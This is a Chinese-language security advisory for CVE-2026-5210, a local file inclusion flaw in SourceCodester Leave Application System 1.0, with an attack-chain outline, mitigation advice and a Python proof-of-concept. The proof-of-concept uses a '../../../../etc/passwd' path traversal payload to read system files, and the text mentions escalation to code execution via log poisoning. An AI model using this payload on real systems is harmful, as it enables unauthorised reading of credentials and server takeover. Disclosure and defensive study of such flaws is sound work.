IPBUF安全漏洞报告
English
CVE-2026-5210 CVSS 7.3 高危

CVE-2026-5210 SourceCodester请假系统文件包含漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-5210
漏洞类型
文件包含漏洞
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Leave Application System

相关标签

文件包含LFISourceCodesterCVE-2026-5210Web安全

漏洞概述

SourceCodester Leave Application System 1.0版本中存在一个严重的文件包含漏洞。该漏洞源于系统在处理用户请求时,对“page”参数缺乏足够的过滤和安全验证。攻击者可以通过网络向受影响的应用程序发送特制的恶意HTTP请求,操纵该参数以触发文件包含操作。由于该漏洞无需身份认证且无需用户交互即可被远程利用,攻击门槛较低。成功利用此漏洞可能导致攻击者读取服务器上的敏感文件,如源代码、配置文件或日志数据,从而对系统的机密性、完整性和可用性造成威胁。

技术细节

该漏洞属于典型的本地文件包含(LFI)漏洞。在SourceCodester Leave Application System 1.0的代码实现中,存在一处未知的处理逻辑直接引用了用户通过GET或POST请求提交的“page”参数,并将其传递给不安全的文件包含函数(如PHP中的include()、require()等)。由于缺乏对输入参数的路径遍历检查(例如过滤“../”或绝对路径)及白名单机制,攻击者能够构造特定的Payload(如?page=../../../../etc/passwd)来绕过目录限制。攻击向量分析显示(AV:N/AC:L/PR:N/UI:N),攻击者可以在无需特权的情况下远程利用此漏洞。虽然CVSS影响评分较低(C:L/I:L/A:L),但LFI漏洞常被作为跳板,结合其他技术(如日志投毒)进一步升级为远程代码执行(RCE),从而完全控制服务器。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行的是SourceCodester Leave Application System 1.0版本,并确认存在Web接口。
STEP 2
武器化
攻击者构造包含路径遍历序列(如../)的恶意Payload,目标指向系统敏感文件(如/etc/passwd)。
STEP 3
交付
攻击者通过HTTP请求将带有恶意“page”参数的数据包发送至目标服务器的 vulnerable endpoint。
STEP 4
利用
服务器端应用程序未对“page”参数进行过滤,直接将其传递给文件包含函数,导致读取并返回了攻击者指定的文件内容。
STEP 5
后渗透
攻击者分析获取的敏感信息(如数据库凭证),为进一步的数据库注入或服务器接管做准备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: SourceCodester Leave Application System 1.0 - Local File Inclusion # Date: 2026-03-31 # Exploit Author: Analyst # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/14976/leave-management-system-using-phpmysqli-source-code.html # Version: 1.0 # CVE: CVE-2026-5210 def exploit_lfi(target_url): """ Exploit the LFI vulnerability by manipulating the 'page' parameter. """ # The vulnerable endpoint usually accepts a 'page' parameter # Attempting to read /etc/passwd on Linux systems payload = "?page=../../../../etc/passwd" full_url = f"{target_url}{payload}" try: response = requests.get(full_url, timeout=10) if response.status_code == 200: # Check if root user exists in response (basic check for /etc/passwd) if "root:x:0:0:" in response.text: print(f"[+] Success! File inclusion verified.") print(f"[+] Target: {target_url}") print("[+] Response snippet:") print(response.text[:500]) # Print first 500 chars else: print("[-] Exploit sent, but file content pattern not found.") else: print(f"[-] HTTP Error: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/leave_application_system/index.php" exploit_lfi(target)

影响范围

SourceCodester Leave Application System 1.0

防御指南

临时缓解措施
建议立即在Web服务器前端(如Nginx或Apache)部署访问控制规则,拦截包含“../”或绝对路径特征的请求。如果无法立即修复代码,应将受影响系统隔离在内网中,并限制对系统页面的公网访问。同时,检查服务器日志,确认是否已被入侵,并重置所有潜在的敏感凭证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表